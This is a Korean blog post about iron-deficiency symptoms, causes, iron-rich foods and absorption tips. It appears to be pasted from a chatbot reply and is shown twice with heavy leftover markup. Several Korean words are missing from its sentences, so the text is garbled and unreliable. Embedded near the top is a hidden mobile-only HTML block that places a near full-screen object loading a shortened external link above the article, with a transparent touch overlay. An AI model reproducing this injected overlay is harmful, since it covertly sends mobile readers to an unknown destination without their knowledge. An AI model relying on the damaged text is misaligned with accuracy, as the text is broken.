몸에 철분이 부족할 때 나타나는 증상

<div class="figure-html" data-ke-type="html" data-source="<style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <body> <div class="container"> <object data="https://vvd.bz/j3e" type="video/mp4" class="mobile-only"></object> </div> </body> <div _ngcontent-ng-c989002767="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:18">철분 부족 시 나타나는 </h2><p data-sourcepos="3:1-3:106">철분은 우리 몸의 헤모글로빈을 구성하는 필수적인 무기질로, 산소를 온몸으로 운반하는 중요한 역할을 합니다. 따라서 철분이 부족하면 빈혈이 발생하고, 다양한 건강 문제를 일으킬 수 있습니다.</p><p data-sourcepos="5:1-5:23"><strong>철분 부족 시 나타나는 주요 :</strong></p><ul data-sourcepos="7:1-18:0"> <li data-sourcepos="7:1-7:53"><strong>피로감:</strong> 가장 흔하게 나타나는 으로, 평소보다 쉽게 피로를 느끼고 무기력해집니다.</li> <li data-sourcepos="8:1-9:17"><strong>창백함:</strong> 피부가 창백해지고, 입술이나 손톱이 희게 변할 수 있습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_7be49aa9328ee6b5&quot;,&quot;c_0c7aa5872f5feefa&quot;,null,&quot;rc_08c6f67e724c4c48&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.allurekorea.com/2018/01/12/pale-waves/"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="창백한 피부 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcQQuggrTMvjAPloDYTMoQ9XBXMVFBe_RCZcS1Qde8IPM8H4Wa3lvLXYPVt1QeLq"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.allurekorea.com/2018/01/12/pale-waves/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_7be49aa9328ee6b5&quot;,&quot;c_0c7aa5872f5feefa&quot;,null,&quot;rc_08c6f67e724c4c48&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn3.gstatic.com/-tbn?q=tbn:ANd9GcTzp9UkXgH4Tp7IKJHNomz9tbNiStHIq6QOKQHpl0ZI8ApRDSUbR3pLTsGrqjbGAQSo5RmOcm_wnutn1upK4F2dauIkecq3jH-L_EuEYg"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.allurekorea.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 창백한 피부 </div></div></single-image></response-element></div></li> <li data-sourcepos="10:1-10:45"><strong>숨가쁨:</strong> 운동을 하거나 계단을 오를 때 숨이 차고 가슴이 답답해집니다.</li> <li data-sourcepos="11:1-11:30"><strong>두통:</strong> 만성적인 두통이 나타날 수 있습니다.</li> <li data-sourcepos="12:1-12:41"><strong>어지럼증:</strong> 빈혈로 인해 현기증이나 어지럼증을 느낄 수 있습니다.</li> <li data-sourcepos="13:1-13:58"><strong>집중력 저하:</strong> 기억력이 감퇴되고, 집중력이 떨어져 학습이나 업무에 어려움을 느낄 수 있습니다.</li> <li data-sourcepos="14:1-15:17"><strong>손톱 변형:</strong> 손톱이 부서지기 쉽고, 숟가락처럼 오목하게 들어가는 숟가락 손톱이 나타날 수 있습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_7be49aa9328ee6b5&quot;,&quot;c_0c7aa5872f5feefa&quot;,null,&quot;rc_08c6f67e724c4c48&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s:///uready21/221372152382?viewType=pc"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="숟가락 손톱 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcQGl1-dKF_COzrsBUdNOnyA6OzOme9f4eCHe2cKz4cToAPckEBNlIAh_Wszeacv"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s:///uready21/221372152382?viewType=pc" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_7be49aa9328ee6b5&quot;,&quot;c_0c7aa5872f5feefa&quot;,null,&quot;rc_08c6f67e724c4c48&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcTViklUu2Q6xWngyOg6zlKlvux97ddTBiMXDHaIs-c9b7PstL5WFmM-nu_BuAhiewe1c30sTXVMmMbzoJ4yN0bMcPSsO-ypXYs"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt"></span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 숟가락 손톱 </div></div></single-image></response-element></div></li> <li data-sourcepos="16:1-16:25"><strong>탈모:</strong> 탈모가 심해질 수 있습니다.</li> <li data-sourcepos="17:1-18:0"><strong>면역력 저하:</strong> 감기에 자주 걸리고, 상처가 잘 아물지 않는 등 면역력이 떨어지는 이 나타날 수 있습니다.</li> </ul><p data-sourcepos="19:1-19:14"><strong>철분 부족의 원인:</strong></p><ul data-sourcepos="21:1-25:0"> <li data-sourcepos="21:1-21:62"><strong>철분 섭취 부족:</strong> 채식 위주의 식단이나 편식, 소화 흡수 장애 등으로 인해 철분 섭취량이 부족할 경우</li> <li data-sourcepos="22:1-22:43"><strong>월경:</strong> 여성의 경우 월경으로 인해 철분 손실이 많아질 수 있습니다.</li> <li data-sourcepos="23:1-23:49"><strong>만성 :</strong> 궤양성 대장염, 크론병 등 소화기 이나 만성 출혈이 있는 경우</li> <li data-sourcepos="24:1-25:0"><strong>임신:</strong> 임신 중에는 태아에게 철분이 공급되면서 산모의 철분 수요가 증가합니다.</li> </ul><p data-sourcepos="26:1-26:15"><strong>철분이 풍부한 식품:</strong></p><p data-sourcepos="28:1-28:47">철분 부족을 예방하기 위해서는 철분이 풍부한 식품을 꾸준히 섭취하는 것이 중요합니다.</p><ul data-sourcepos="30:1-36:0"> <li data-sourcepos="30:1-30:26"><strong>육류:</strong> 소고기, 돼지고기, 닭고기 등</li> <li data-sourcepos="31:1-31:18"><strong>해산물:</strong> 조개류, 생선</li> <li data-sourcepos="32:1-32:16"><strong>콩류:</strong> 콩, 렌틸콩</li> <li data-sourcepos="33:1-33:18"><strong>견과류:</strong> 아몬드, 호두</li> <li data-sourcepos="34:1-34:22"><strong>녹색 채소:</strong> 시금치, 브로콜리</li> <li data-sourcepos="35:1-36:0"><strong>건포도</strong></li> </ul><p data-sourcepos="37:1-37:17"><strong>철분 흡수를 돕는 방법:</strong></p><ul data-sourcepos="39:1-41:0"> <li data-sourcepos="39:1-39:46"><strong>비타민 C와 함께 섭취:</strong> 비타민 C는 철분 흡수를 돕는 역할을 합니다.</li> <li data-sourcepos="40:1-41:0"><strong>차 종류는 식후에 섭취:</strong> 차에 함유된 탄닌 성분은 철분 흡수를 방해하므로 식후에 마시는 것이 좋습니다.</li> </ul><p data-sourcepos="42:1-42:17"><strong>철분 부족이 의심된다면?</strong></p><p data-sourcepos="44:1-44:117">위에 언급된 이 나타난다면, 병원을 방문하여 한 진단을 받고 적절한 를 받는 것이 중요합니다. 의사는 혈액 검사를 통해 철분 수치를 확인하고, 철분제를 하거나 식단 관리를 지도해 줄 수 있습니다.</p><p data-sourcepos="46:1-46:9"><strong>주의사항:</strong></p><ul data-sourcepos="48:1-50:0"> <li data-sourcepos="48:1-48:61">철분제를 복용할 때는 의사의 지시를 따라야 합니다. 과도한 철분 섭취는 오히려 건강에 해로울 수 있습니다.</li> <li data-sourcepos="49:1-50:0">임산부나 수유부는 철분제 복용 전에 반드시 의사와 상담해야 합니다.</li> </ul><p data-sourcepos="51:1-51:55"><strong>자신의 건강 상태를 히 파악하고, 철분 부족을 예방하여 건강한 삶을 유지하시길 바랍니다.</strong></p><p data-sourcepos="53:1-53:28"><strong>궁금한 점이 있다면 언제든지 질문해주세요.</strong></p><p data-sourcepos="55:1-55:291"><strong>Disclaimer:</strong> This information is intended for general knowledge and informational purposes only, and does not constitute medical advice. <span class="citation-0 citation-end-0 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aria-describedby="cdk-describedby-message-ng-1-8" cdk-describedby-host="ng-1" style="opacity: 0; visibility: hidden;"><span class="mat-mdc-button-persistent-ripple mdc-fab__ripple"></span><mat-icon _ngcontent-ng-c3783723062="" role="img" class="mat-icon notranslate google-symbols mat-ligature-font mat-icon-no-color" aria-hidden="true" data-mat-icon-type="font" data-mat-icon-name="chevron_right" fonticon="chevron_right"></mat-icon><span class="mdc-button__label"></span><span class="mat-focus-indicator"></span><span class="mat-mdc-button-touch-target"></span></button></div></sources-carousel></sources-carousel-inline></p></div> "><div data-ke-class="article"><style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <xbody> <div class="container"> <object data="https://vvd.bz/j3e" type="video/mp4" class="mobile-only" allowNetworking='internal' allowScriptAccess='sameDomain'></object> </div> </xbody> <div _ngcontent-ng-c989002767="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:18">철분 부족 시 나타나는 </h2><p data-sourcepos="3:1-3:106">철분은 우리 몸의 헤모글로빈을 구성하는 필수적인 무기질로, 산소를 온몸으로 운반하는 중요한 역할을 합니다. 따라서 철분이 부족하면 빈혈이 발생하고, 다양한 건강 문제를 일으킬 수 있습니다.</p><p data-sourcepos="5:1-5:23"><strong>철분 부족 시 나타나는 주요 :</strong></p><ul data-sourcepos="7:1-18:0"> <li data-sourcepos="7:1-7:53"><strong>피로감:</strong> 가장 흔하게 나타나는 으로, 평소보다 쉽게 피로를 느끼고 무기력해집니다.</li> <li data-sourcepos="8:1-9:17"><strong>창백함:</strong> 피부가 창백해지고, 입술이나 손톱이 희게 변할 수 있습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_7be49aa9328ee6b5","c_0c7aa5872f5feefa",null,"rc_08c6f67e724c4c48",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.allurekorea.com/2018/01/12/pale-waves/"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="창백한 피부 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQQuggrTMvjAPloDYTMoQ9XBXMVFBe_RCZcS1Qde8IPM8H4Wa3lvLXYPVt1QeLq"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.allurekorea.com/2018/01/12/pale-waves/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_7be49aa9328ee6b5","c_0c7aa5872f5feefa",null,"rc_08c6f67e724c4c48",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTzp9UkXgH4Tp7IKJHNomz9tbNiStHIq6QOKQHpl0ZI8ApRDSUbR3pLTsGrqjbGAQSo5RmOcm_wnutn1upK4F2dauIkecq3jH-L_EuEYg"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.allurekorea.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 창백한 피부 </div></div></single-image></response-element></div></li> <li data-sourcepos="10:1-10:45"><strong>숨가쁨:</strong> 운동을 하거나 계단을 오를 때 숨이 차고 가슴이 답답해집니다.</li> <li data-sourcepos="11:1-11:30"><strong>두통:</strong> 만성적인 두통이 나타날 수 있습니다.</li> <li data-sourcepos="12:1-12:41"><strong>어지럼증:</strong> 빈혈로 인해 현기증이나 어지럼증을 느낄 수 있습니다.</li> <li data-sourcepos="13:1-13:58"><strong>집중력 저하:</strong> 기억력이 감퇴되고, 집중력이 떨어져 학습이나 업무에 어려움을 느낄 수 있습니다.</li> <li data-sourcepos="14:1-15:17"><strong>손톱 변형:</strong> 손톱이 부서지기 쉽고, 숟가락처럼 오목하게 들어가는 숟가락 손톱이 나타날 수 있습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_7be49aa9328ee6b5","c_0c7aa5872f5feefa",null,"rc_08c6f67e724c4c48",null,null,"ko",null,null,null,null,1,0]];mutable:true" s:///uready21/221372152382?viewType=pc"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="숟가락 손톱 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQGl1-dKF_COzrsBUdNOnyA6OzOme9f4eCHe2cKz4cToAPckEBNlIAh_Wszeacv"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s:///uready21/221372152382?viewType=pc" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_7be49aa9328ee6b5","c_0c7aa5872f5feefa",null,"rc_08c6f67e724c4c48",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTViklUu2Q6xWngyOg6zlKlvux97ddTBiMXDHaIs-c9b7PstL5WFmM-nu_BuAhiewe1c30sTXVMmMbzoJ4yN0bMcPSsO-ypXYs"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt"></span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 숟가락 손톱 </div></div></single-image></response-element></div></li> <li data-sourcepos="16:1-16:25"><strong>탈모:</strong> 탈모가 심해질 수 있습니다.</li> <li data-sourcepos="17:1-18:0"><strong>면역력 저하:</strong> 감기에 자주 걸리고, 상처가 잘 아물지 않는 등 면역력이 떨어지는 이 나타날 수 있습니다.</li> </ul><p data-sourcepos="19:1-19:14"><strong>철분 부족의 원인:</strong></p><ul data-sourcepos="21:1-25:0"> <li data-sourcepos="21:1-21:62"><strong>철분 섭취 부족:</strong> 채식 위주의 식단이나 편식, 소화 흡수 장애 등으로 인해 철분 섭취량이 부족할 경우</li> <li data-sourcepos="22:1-22:43"><strong>월경:</strong> 여성의 경우 월경으로 인해 철분 손실이 많아질 수 있습니다.</li> <li data-sourcepos="23:1-23:49"><strong>만성 :</strong> 궤양성 대장염, 크론병 등 소화기 이나 만성 출혈이 있는 경우</li> <li data-sourcepos="24:1-25:0"><strong>임신:</strong> 임신 중에는 태아에게 철분이 공급되면서 산모의 철분 수요가 증가합니다.</li> </ul><p data-sourcepos="26:1-26:15"><strong>철분이 풍부한 식품:</strong></p><p data-sourcepos="28:1-28:47">철분 부족을 예방하기 위해서는 철분이 풍부한 식품을 꾸준히 섭취하는 것이 중요합니다.</p><ul data-sourcepos="30:1-36:0"> <li data-sourcepos="30:1-30:26"><strong>육류:</strong> 소고기, 돼지고기, 닭고기 등</li> <li data-sourcepos="31:1-31:18"><strong>해산물:</strong> 조개류, 생선</li> <li data-sourcepos="32:1-32:16"><strong>콩류:</strong> 콩, 렌틸콩</li> <li data-sourcepos="33:1-33:18"><strong>견과류:</strong> 아몬드, 호두</li> <li data-sourcepos="34:1-34:22"><strong>녹색 채소:</strong> 시금치, 브로콜리</li> <li data-sourcepos="35:1-36:0"><strong>건포도</strong></li> </ul><p data-sourcepos="37:1-37:17"><strong>철분 흡수를 돕는 방법:</strong></p><ul data-sourcepos="39:1-41:0"> <li data-sourcepos="39:1-39:46"><strong>비타민 C와 함께 섭취:</strong> 비타민 C는 철분 흡수를 돕는 역할을 합니다.</li> <li data-sourcepos="40:1-41:0"><strong>차 종류는 식후에 섭취:</strong> 차에 함유된 탄닌 성분은 철분 흡수를 방해하므로 식후에 마시는 것이 좋습니다.</li> </ul><p data-sourcepos="42:1-42:17"><strong>철분 부족이 의심된다면?</strong></p><p data-sourcepos="44:1-44:117">위에 언급된 이 나타난다면, 병원을 방문하여 한 진단을 받고 적절한 를 받는 것이 중요합니다. 의사는 혈액 검사를 통해 철분 수치를 확인하고, 철분제를 하거나 식단 관리를 지도해 줄 수 있습니다.</p><p data-sourcepos="46:1-46:9"><strong>주의사항:</strong></p><ul data-sourcepos="48:1-50:0"> <li data-sourcepos="48:1-48:61">철분제를 복용할 때는 의사의 지시를 따라야 합니다. 과도한 철분 섭취는 오히려 건강에 해로울 수 있습니다.</li> <li data-sourcepos="49:1-50:0">임산부나 수유부는 철분제 복용 전에 반드시 의사와 상담해야 합니다.</li> </ul><p data-sourcepos="51:1-51:55"><strong>자신의 건강 상태를 히 파악하고, 철분 부족을 예방하여 건강한 삶을 유지하시길 바랍니다.</strong></p><p data-sourcepos="53:1-53:28"><strong>궁금한 점이 있다면 언제든지 질문해주세요.</strong></p><p data-sourcepos="55:1-55:291"><strong>Disclaimer:</strong> This information is intended for general knowledge and informational purposes only, and does not constitute medical advice. <span class="citation-0 citation-end-0 interactive-span-selected-v2">Always seek the advice of your physician or other qualified health provider with any questions you may have regarding a medical conditio<source-footnote ng-version="0.0.0-PLACEHOLDER" _nghost-ng-c4217758085=""><sup _ngcontent-ng-c4217758085="" class="superscript visible highlight" data-turn-source-index="1"> 1 </sup></source-footnote></span>n.<sources-carousel-inline ng-version="0.0.0-PLACEHOLDER" _nghost-ng-c1520798607=""><span _ngcontent-ng-c1520798607="" hide-from-message-actions="" class="button-container hide-from-message-actions ng-star-inserted">   <button _ngcontent-ng-c1520798607="" hide-from-message-actions="" aria-controls="sources" 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